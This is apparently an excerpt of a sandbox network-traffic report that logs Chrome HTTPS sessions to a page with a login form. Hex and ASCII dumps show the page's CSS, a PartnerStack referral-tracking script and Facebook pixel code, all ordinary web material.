2024-07-03 12:38:44 UTC	2358	IN	Data Raw: 61 74 28 27 77 6f 66 66 27 29 3b 20 2f 2a 20 43 68 72 6f 6d 65 20 36 2b 2c 20 46 69 72 65 66 6f 78 20 33 2e 36 2b 2c 20 49 45 20 39 2b 2c 20 53 61 66 61 72 69 20 35 2e 31 2b 20 2a 2f 0a 7d 0a 0a 2f 2a 20 72 6f 62 6f 74 6f 2d 35 30 30 20 2d 20 6c 61 74 69 6e 20 2a 2f 0a 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 52 6f 62 6f 74 6f 27 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0a 20 20 73 72 63 3a 20 75 72 6c 28 27 72 6f 62 6f 74 6f 2d 76 32 37 2d 6c 61 74 69 6e 2d 35 30 30 2e 77 6f 66 66 27 29 20 66 6f 72 6d 61 74 28 27 77 6f 66 66 27 29 3b 20 2f 2a 20 43 68 72 6f 6d 65 20 36 2b 2c 20 46 69 72 65 66 6f 78 20 33 2e 36 2b 2c 20 49 Data Ascii: at('woff'); /* Chrome 6+, Firefox 3.6+, IE 9+, Safari 5.1+ /}/ roboto-500 - latin /@font-face { font-family: 'Roboto'; font-style: normal; font-weight: 500; src: url('roboto-v27-latin-500.woff') format('woff'); / Chrome 6+, Firefox 3.6+, I
2024-07-03 12:38:44 UTC	559	IN	Data Raw: 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 35 35 35 35 35 35 3b 0a 7d 0a 0a 2e 6c 6f 67 69 6e 46 6f 72 6d 5f 5f 73 74 61 74 75 73 4d 65 73 73 61 67 65 5f 5f 69 6d 61 67 65 20 7b 0a 20 20 61 6c 69 67 6e 2d 73 65 6c 66 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 7d 0a 0a 2e 6c 6f 67 69 6e 46 6f 72 6d 5f 5f 66 6f 72 6d 43 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 7d 0a 0a 2e 6c 6f 67 69 6e 46 6f 72 6d 5f 5f 6c 6f 67 6f 43 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 64 69 73 70 6c 61 79 Data Ascii: px; color: #555555;}.loginForm__statusMessage__image { align-self: baseline;}.loginForm__formContainer { display: flex; align-items: center; flex-direction: column; font-size: 12px; width: 100%;}.loginForm__logoContainer { display
2024-07-03 12:38:44 UTC	4516	IN	Data Raw: 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 68 65 69 67 68 74 3a 20 35 32 70 78 3b 0a 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 34 70 78 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 44 42 46 32 44 45 3b 0a 7d 0a 0a 2e 6c 6f 67 69 6e 46 6f 72 6d 5f 5f 69 6e 66 6f 4d 65 73 73 61 67 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 36 70 78 3b 0a 7d 0a 0a 2e 6c 6f 67 69 6e 46 6f 72 6d 5f 5f 63 6c 6f 73 65 49 63 6f 6e 20 7b 0a 20 20 63 75 72 73 6f 72 3a 20 70 6f 69 6e 74 65 72 3b 0a 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a Data Ascii: align-items: center; height: 52px; width: 100%; margin-top: 24px; background-color: #DBF2DE;}.loginForm__infoMessage { display: flex; align-items: center; margin-left: 16px;}.loginForm__closeIcon { cursor: pointer; margin-right:
2024-07-03 12:38:44 UTC	3897	IN	Data Raw: 72 65 63 74 69 6f 6e 3a 20 63 6f 6c 75 6d 6e 3b 0a 20 20 66 6c 65 78 2d 66 6c 6f 77 3a 20 63 6f 6c 75 6d 6e 2d 72 65 76 65 72 73 65 3b 0a 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 7d 0a 0a 2e 68 69 64 64 65 6e 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2e 73 75 63 63 65 73 73 20 2e 6c 6f 67 69 6e 46 6f 72 6d 5f 5f 73 74 61 74 75 73 4d 65 73 73 61 67 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 64 62 66 32 64 65 3b 0a 7d 0a 0a 2e 65 72 72 6f 72 20 2e 6c 6f 67 69 6e 46 6f 72 6d 5f 5f 73 74 61 74 75 73 4d 65 73 73 61 67 65 20 7b 0a 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b Data Ascii: rection: column; flex-flow: column-reverse; align-items: center; height: 100%;}.hidden { display: none;}.success .loginForm__statusMessage { display: flex; background-color: #dbf2de;}.error .loginForm__statusMessage { display: flex;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49729	104.18.10.212	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:44 UTC	550	OUT	GET /pr/js HTTP/1.1 Host: get.sinchemail.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:44 UTC	380	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 12:38:44 GMT Content-Type: application/javascript Content-Length: 7811 Connection: close CF-Ray: 89d6ef305d0b0cb4-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Cache-Control: public, max-age=14400, stale-if-error=604800 ETag: "6684679f-1e83" Last-Modified: Tue, 02 Jul 2024 20:48:31 GMT Via: 1.1 google Server: cloudflare
2024-07-03 12:38:44 UTC	989	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 6f 3d 22 68 74 74 70 73 3a 2f 2f 67 72 73 6d 2e 69 6f 22 2c 72 3d 22 68 74 74 70 73 3a 2f 2f 70 61 72 74 6e 65 72 6c 69 6e 6b 73 2e 69 6f 22 3b 66 75 6e 63 74 69 6f 6e 20 65 28 6f 29 7b 72 65 74 75 72 6e 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 6f 3f 22 22 3a 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 61 74 6f 62 28 6f 29 2e 73 70 6c 69 74 28 22 22 29 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 72 65 74 75 72 6e 22 25 22 2b 28 22 30 30 22 2b 6f 2e 63 68 61 72 43 6f 64 65 41 74 28 30 29 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 29 2e 73 6c 69 63 65 28 2d 32 29 7d 29 29 2e 6a 6f 69 6e 28 22 22 29 29 7d 76 61 72 20 6e 2c 74 2c 73 3d 28 6e 3d Data Ascii: !function(){"use strict";var o="https://grsm.io",r="https://partnerlinks.io";function e(o){return"string"!=typeof o?"":decodeURIComponent(atob(o).split("").map((function(o){return"%"+("00"+o.charCodeAt(0).toString(16)).slice(-2)})).join(""))}var n,t,s=(n=
2024-07-03 12:38:44 UTC	1369	IN	Data Raw: 65 6e 74 29 2e 72 65 70 6c 61 63 65 28 2f 5b 5c 28 5c 29 5d 2f 67 2c 65 73 63 61 70 65 29 3b 76 61 72 20 69 3d 22 22 3b 66 6f 72 28 76 61 72 20 61 20 69 6e 20 73 29 73 5b 61 5d 26 26 28 69 2b 3d 22 3b 20 22 2b 61 2c 21 30 21 3d 3d 73 5b 61 5d 26 26 28 69 2b 3d 22 3d 22 2b 73 5b 61 5d 2e 73 70 6c 69 74 28 22 3b 22 29 5b 30 5d 29 29 3b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3d 72 2b 22 3d 22 2b 65 2b 69 7d 7d 66 75 6e 63 74 69 6f 6e 20 75 28 6f 2c 65 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 29 7b 66 6f 72 28 76 61 72 20 74 3d 7b 7d 2c 73 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 3f 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 20 22 29 3a 5b Data Ascii: ent).replace(/[]/g,escape);var i="";for(var a in s)s[a]&&(i+="; "+a,!0!==s[a]&&(i+="="+s[a].split(";")[0]));return document.cookie=r+"="+e+i}}function u(o,e){if("undefined"!=typeof document){for(var t={},s=document.cookie?document.cookie.split("; "):[
2024-07-03 12:38:44 UTC	1369	IN	Data Raw: 22 74 72 61 63 6b 69 6e 67 56 32 22 3b 76 61 72 20 62 3d 7b 5f 62 36 34 64 3a 65 2c 5f 67 63 3a 75 2c 5f 73 63 3a 63 2c 64 6f 6d 61 69 6e 5f 76 31 3a 6f 2c 64 6f 6d 61 69 6e 5f 76 32 3a 72 2c 73 6f 75 72 63 65 3a 6e 75 6c 6c 2c 66 61 6c 6c 62 61 63 6b 5f 64 6f 6d 61 69 6e 3a 6e 75 6c 6c 2c 63 6f 6f 6b 69 65 5f 64 6f 6d 61 69 6e 3a 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 2c 70 73 63 64 3a 6e 75 6c 6c 2c 69 6e 69 74 69 61 6c 69 7a 65 64 3a 21 31 2c 64 61 74 61 3a 7b 61 6d 6f 75 6e 74 3a 30 2c 63 75 72 72 65 6e 63 79 3a 22 55 53 44 22 2c 65 6d 61 69 6c 3a 22 22 2c 6e 61 6d 65 3a 22 22 2c 70 75 62 6c 69 63 5f 6b 65 79 3a 22 22 2c 68 6f 73 74 5f 64 6f 6d 61 69 6e 3a 22 22 7d 2c 5f 72 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 67 72 6f 77 73 75 6d 6f 2e 64 61 74 61 Data Ascii: "trackingV2";var b={_b64d:e,_gc:u,_sc:c,domain_v1:o,domain_v2:r,source:null,fallback_domain:null,cookie_domain:location.host,pscd:null,initialized:!1,data:{amount:0,currency:"USD",email:"",name:"",public_key:"",host_domain:""},_rd:function(){growsumo.data
2024-07-03 12:38:44 UTC	1369	IN	Data Raw: 5f 67 70 62 6e 28 68 29 3b 72 26 26 28 6f 3d 72 29 2c 6f 26 26 28 6f 3d 65 28 6f 29 29 3b 76 61 72 20 6e 3d 72 3f 79 3a 77 3b 28 6f 3d 67 72 6f 77 73 75 6d 6f 2e 5f 73 70 6b 28 6f 2c 6e 29 29 7c 7c 28 6f 3d 67 72 6f 77 73 75 6d 6f 2e 5f 67 65 74 5f 72 65 64 69 72 65 63 74 5f 63 6f 6f 6b 69 65 73 5f 66 72 6f 6d 5f 74 6c 64 28 29 29 2c 6f 7c 7c 67 72 6f 77 73 75 6d 6f 2e 5f 67 65 74 5f 70 6b 5f 70 72 69 6d 61 72 79 5f 63 6f 6f 6b 69 65 5f 6d 69 72 72 6f 72 28 29 7d 2c 5f 67 65 74 5f 66 61 6c 6c 62 61 63 6b 5f 64 6f 6d 61 69 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 67 72 6f 77 73 75 6d 6f 2e 73 6f 75 72 63 65 3d 3d 79 3f 67 72 6f 77 73 75 6d 6f 2e 64 6f 6d 61 69 6e 5f 76 31 3a 67 72 6f 77 73 75 6d 6f 2e 64 6f 6d 61 69 6e 5f 76 32 7d 2c 5f Data Ascii: _gpbn(h);r&&(o=r),o&&(o=e(o));var n=r?y:w;(o=growsumo._spk(o,n))\|\|(o=growsumo._get_redirect_cookies_from_tld()),o\|\|growsumo._get_pk_primary_cookie_mirror()},_get_fallback_domain:function(){return growsumo.source==y?growsumo.domain_v1:growsumo.domain_v2},_
2024-07-03 12:38:44 UTC	1369	IN	Data Raw: 67 72 6f 77 73 75 6d 6f 2e 63 6f 6f 6b 69 65 5f 64 6f 6d 61 69 6e 29 2c 63 28 78 2c 6f 2c 67 72 6f 77 73 75 6d 6f 2e 63 6f 6f 6b 69 65 5f 64 6f 6d 61 69 6e 29 29 2c 6f 7d 2c 5f 67 70 73 63 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 67 72 6f 77 73 75 6d 6f 2e 5f 67 70 62 6e 28 5f 29 3b 6f 3f 67 72 6f 77 73 75 6d 6f 2e 5f 73 70 73 63 64 28 6f 29 3a 67 72 6f 77 73 75 6d 6f 2e 5f 73 70 73 63 64 28 29 7d 2c 5f 73 70 73 63 64 3a 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 6c 65 74 20 72 3d 6e 75 6c 6c 21 3d 6f 3f 6f 3a 75 28 6c 29 3b 69 66 28 6e 75 6c 6c 21 3d 72 29 67 72 6f 77 73 75 6d 6f 2e 70 73 63 64 3d 72 2c 63 28 6c 2c 72 2c 67 72 6f 77 73 75 6d 6f 2e 63 6f 6f 6b 69 65 5f 64 6f 6d 61 69 6e 29 3b 65 6c 73 65 20 74 72 79 7b 76 61 72 20 65 3d 67 72 6f Data Ascii: growsumo.cookie_domain),c(x,o,growsumo.cookie_domain)),o},_gpscd:function(){var o=growsumo._gpbn(_);o?growsumo._spscd(o):growsumo._spscd()},_spscd:function(o){let r=null!=o?o:u(l);if(null!=r)growsumo.pscd=r,c(l,r,growsumo.cookie_domain);else try{var e=gro
2024-07-03 12:38:44 UTC	1346	IN	Data Raw: 61 74 61 2e 70 61 72 74 6e 65 72 5f 6b 65 79 7d 29 7d 2c 5f 67 70 62 6e 3a 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6f 29 7b 6f 3d 6f 2e 72 65 70 6c 61 63 65 28 2f 5b 5c 5b 5c 5d 5d 2f 67 2c 22 5c 5c 24 26 22 29 3b 76 61 72 20 72 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5b 3f 26 5d 22 2b 6f 2b 22 28 3d 28 5b 5e 26 23 5d 2a 29 7c 26 7c 23 7c 24 29 22 29 2c 65 3d 72 2e 65 78 65 63 28 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 29 3b 72 65 74 75 72 6e 20 65 7c 7c 28 65 3d 72 2e 65 78 65 63 28 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 29 29 2c 65 3f 65 5b 32 5d 3f 64 65 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 5b 32 5d 2e 72 65 70 6c 61 63 65 28 2f 5c 2b 2f 67 2c 22 20 22 29 29 3a 22 22 3a 6e 75 6c 6c 7d 28 Data Ascii: ata.partner_key})},_gpbn:function(o){return function(o){o=o.replace(/[\[\]]/g,"\\$&");var r=new RegExp("[?&]"+o+"(=([^&#]*)\|&\|#\|$)"),e=r.exec(location.search);return e\|\|(e=r.exec(location.hash)),e?e[2]?decodeURIComponent(e[2].replace(/\+/g," ")):"":null}(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49724	157.240.0.6	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 12:38:44 UTC	596	OUT	GET /signals/config/541164370529087?v=2.9.104&r=stable HTTP/1.1 Host: connect.facebook.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://9438923743-g7h3dbg4gzeac5gs.z03.azurefd.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-03 12:38:46 UTC	1465	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: application/x-javascript; charset=utf-8 timing-allow-origin: * reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} content-security-policy: default-src 'self' data: blob: ;script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' 'unsafe-eval' https://.google-analytics.com .google.com;style-src data: blob: 'unsafe-inline' ;connect-src .facebook.com facebook.com .fbcdn.net .facebook.net wss://.facebook.com: wss://.whatsapp.com: wss://.fbcdn.net attachment.fbsbx.com ws://localhost: blob: .cdninstagram.com 'self' https://.google-analytics.com;img-src 'self' data: blob: * https://*.google-analytics.com;block-all-mixed-content;upgrade-insecure-requests;require-trusted-types-for 'script'; document-policy: force-load-at-top
2024-07-03 12:38:46 UTC	1733	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 61 74 74 65 72 79 3d 28 73 65 6c 66 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 64 70 72 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 68 2d 76 69 65 77 70 6f 72 74 2d 68 65 69 67 68 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), battery=(self), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-dpr=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), ch-viewport-heigh
2024-07-03 12:38:46 UTC	1500	IN	Data Raw: 2f 2a 2a 0a 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 37 2d 70 72 65 73 65 6e 74 2c 20 46 61 63 65 62 6f 6f 6b 2c 20 49 6e 63 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 2a 0a 2a 20 59 6f 75 20 61 72 65 20 68 65 72 65 62 79 20 67 72 61 6e 74 65 64 20 61 20 6e 6f 6e 2d 65 78 63 6c 75 73 69 76 65 2c 20 77 6f 72 6c 64 77 69 64 65 2c 20 72 6f 79 61 6c 74 79 2d 66 72 65 65 20 6c 69 63 65 6e 73 65 20 74 6f 20 75 73 65 2c 0a 2a 20 63 6f 70 79 2c 20 6d 6f 64 69 66 79 2c 20 61 6e 64 20 64 69 73 74 72 69 62 75 74 65 20 74 68 69 73 20 73 6f 66 74 77 61 72 65 20 69 6e 20 73 6f 75 72 63 65 20 63 6f 64 65 20 6f 72 20 62 69 6e 61 72 79 20 66 6f 72 6d 20 66 6f 72 20 75 73 65 0a 2a 20 69 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 20 77 69 Data Ascii: /* Copyright (c) 2017-present, Facebook, Inc. All rights reserved. You are hereby granted a non-exclusive, worldwide, royalty-free license to use,* copy, modify, and distribute this software in source code or binary form for use* in connection wi
2024-07-03 12:38:46 UTC	1500	IN	Data Raw: 75 72 6e 21 30 7d 28 29 29 72 65 74 75 72 6e 3b 76 61 72 20 67 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 79 70 65 6f 66 20 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 74 6f 72 22 29 3d 3d 3d 22 73 79 6d 62 6f 6c 22 3f 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 61 7d 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 61 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 61 21 3d 3d 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 Data Ascii: urn!0}())return;var g=typeof Symbol==="function"&&typeof (typeof Symbol==="function"?Symbol.iterator:"@@iterator")==="symbol"?function(a){return typeof a}:function(a){return a&&typeof Symbol==="function"&&a.constructor===Symbol&&a!==(typeof Symbol==="func
2024-07-03 12:38:46 UTC	1500	IN	Data Raw: 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3f 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 28 61 2c 62 29 3a 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 62 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 61 2c 62 29 7b 69 66 28 21 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 43 61 6e 6e 6f 74 20 63 61 6c 6c 20 61 20 63 6c 61 73 73 20 61 73 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 7d 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 7c 7c 28 66 2e 5f 5f 66 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 5f 5f 66 62 65 76 65 6e 74 73 52 65 73 6f 6c 76 65 64 4d 6f 64 75 6c 65 73 3d 7b 7d 2c 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 3d Data Ascii: Object.setPrototypeOf?Object.setPrototypeOf(a,b):a.__proto__=b)}function l(a,b){if(!(a instanceof b))throw new TypeError("Cannot call a class as a function")}f.__fbeventsModules\|\|(f.__fbeventsModules={},f.__fbeventsResolvedModules={},f.getFbeventsModules=
2024-07-03 12:38:46 UTC	1500	IN	Data Raw: 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 66 3d 6e 75 6c 6c 2c 67 3d 65 2e 63 61 73 65 49 6e 73 65 6e 73 69 74 69 76 65 2c 68 3d 65 2e 6c 6f 77 65 72 63 61 73 65 2c 69 3d 65 2e 6f 70 74 69 6f 6e 73 2c 6a 3d 65 2e 74 72 75 6e 63 61 74 65 2c 6b 3d 65 2e 75 70 70 65 72 63 61 73 65 3b 69 66 28 61 21 3d 6e 75 6c 6c 26 26 69 21 3d 6e 75 6c 6c 26 26 41 72 72 61 79 2e 69 73 41 72 72 61 79 28 69 29 26 26 69 2e 6c 65 6e 67 74 68 29 69 66 28 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 26 26 63 28 61 29 29 66 3d 61 3b 65 6c 73 65 7b 76 61 72 20 6c 3d 64 28 53 74 72 69 6e 67 28 61 29 29 3b 68 3d 3d 3d 21 30 26 26 28 6c 3d 6c 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 29 3b 6b 3d 3d 3d 21 30 26 26 28 6c 3d 6c 2e 74 6f 55 70 70 65 72 43 61 73 Data Ascii: 0?arguments[1]:{},f=null,g=e.caseInsensitive,h=e.lowercase,i=e.options,j=e.truncate,k=e.uppercase;if(a!=null&&i!=null&&Array.isArray(i)&&i.length)if(typeof a==="string"&&c(a))f=a;else{var l=d(String(a));h===!0&&(l=l.toLowerCase());k===!0&&(l=l.toUpperCas
2024-07-03 12:38:46 UTC	292	IN	Data Raw: 28 29 3b 72 65 74 75 72 6e 20 6b 2e 65 78 70 6f 72 74 73 7d 28 61 2c 62 2c 63 2c 64 29 7d 29 3b 0a 66 2e 65 6e 73 75 72 65 4d 6f 64 75 6c 65 52 65 67 69 73 74 65 72 65 64 28 22 6e 6f 72 6d 61 6c 69 7a 65 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 53 74 72 69 6e 67 54 79 70 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 29 7b 76 61 72 20 6b 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 6b 2e 65 78 70 6f 72 74 73 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 61 3d 66 2e 67 65 74 46 62 65 76 65 6e 74 73 4d 6f 64 75 6c 65 73 28 22 53 69 67 6e 61 6c 73 46 42 45 76 65 6e 74 73 53 68 61 72 65 64 22 29 2c 62 3d 61 2e 75 6e 69 63 6f 64 65 53 61 66 65 54 72 Data Ascii: ();return k.exports}(a,b,c,d)});f.ensureModuleRegistered("normalizeSignalsFBEventsStringType",function(){return function(g,h,i,j){var k={exports:{}};k.exports;(function(){"use strict";var a=f.getFbeventsModules("SignalsFBEventsShared"),b=a.unicodeSafeTr
2024-07-03 12:38:46 UTC	1500	IN	Data Raw: 73 46 42 45 76 65 6e 74 73 56 61 6c 69 64 61 74 69 6f 6e 55 74 69 6c 73 22 29 3b 76 61 72 20 63 3d 61 2e 6c 6f 6f 6b 73 4c 69 6b 65 48 61 73 68 65 64 2c 64 3d 61 2e 73 74 72 69 70 3b 66 75 6e 63 74 69 6f 6e 20 65 28 61 29 7b 76 61 72 20 65 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 61 72 67 75 6d 65 6e 74 73 5b 31 5d 21 3d 3d 76 6f 69 64 20 30 3f 61 72 67 75 6d 65 6e 74 73 5b 31 5d 3a 7b 7d 2c 66 3d 6e 75 6c 6c 3b 69 66 28 61 21 3d 6e 75 6c 6c 29 69 66 28 63 28 61 29 26 26 74 79 70 65 6f 66 20 61 3d 3d 3d 22 73 74 72 69 6e 67 22 29 65 2e 72 65 6a 65 63 74 48 61 73 68 65 64 21 3d 3d 21 30 26 26 28 66 3d 61 29 3b 65 6c 73 65 7b 76 61 72 20 67 3d 53 74 72 69 6e 67 28 61 29 3b 65 2e 73 74 72 69 70 21 3d 6e 75 6c 6c 26 26 28 67 3d 64 28 67 Data Ascii: sFBEventsValidationUtils");var c=a.looksLikeHashed,d=a.strip;function e(a){var e=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},f=null;if(a!=null)if(c(a)&&typeof a==="string")e.rejectHashed!==!0&&(f=a);else{var g=String(a);e.strip!=null&&(g=d(g
